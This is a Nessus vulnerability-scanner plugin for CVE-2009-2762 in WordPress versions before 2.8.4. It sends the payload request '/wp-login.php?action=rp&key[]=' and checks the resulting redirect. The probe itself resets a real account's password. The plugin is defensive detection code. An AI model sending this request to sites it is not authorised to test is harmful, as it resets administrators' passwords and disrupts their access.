WordPress < 2.8.4 Password Reset

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(40577);
  script_version("1.19");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2009-2762");
  script_bugtraq_id(36014);
  script_xref(name:"EDB-ID", value:"9410");
  script_xref(name:"Secunia", value:"36237");

  script_name(english:"WordPress < 2.8.4 Password Reset");
  script_summary(english:"Attempts to do a password reset.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
security bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of WordPress hosted on the remote web server has a flaw in
the password reset mechanism. Validation of the secret user activation
key can be bypassed by providing an array instead of a string. This
allows anyone to reset the password of the first user in the database,
which is usually the administrator. A remote attacker can use this to
repeatedly reset the password, leading to a denial of service
condition.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2009/Aug/113");
  script_set_attribute(attribute:"see_also", value:"https://core.trac.wordpress.org/changeset/11798");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/news/2009/08/2-8-4-security-release/");
  script_set_attribute(attribute:"solution", value:"Upgrade to WordPress 2.8.4 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(255);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/08/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/08/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/08/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2021 Tenable Network Security, Inc.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

url = '/wp-login.php?action=rp&key[]=';
res = http_send_recv3(method:"GET", item:dir+url, port:port, exit_on_fail:TRUE);

# If the system is vulnerable, it will redirect to:
#   wp-login.php?checkemail=newpass
# If it's patched, it will redirect to:
#   wp-login.php?action=lostpassword&error=invalidkey
if ('Location: wp-login.php?checkemail=newpass' >< res[1])
{
  if (report_verbosity > 0)
  {
    report =
      '\n' +
      'Nessus requested the following URL :\n\n' +
      '  ' + install_url + url + '\n\n' +
      'which resulted in the password reset of a WordPress account on the\n' +
      'remote host. The affected user will likely receive an email\n' +
      'informing them of this.\n';
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);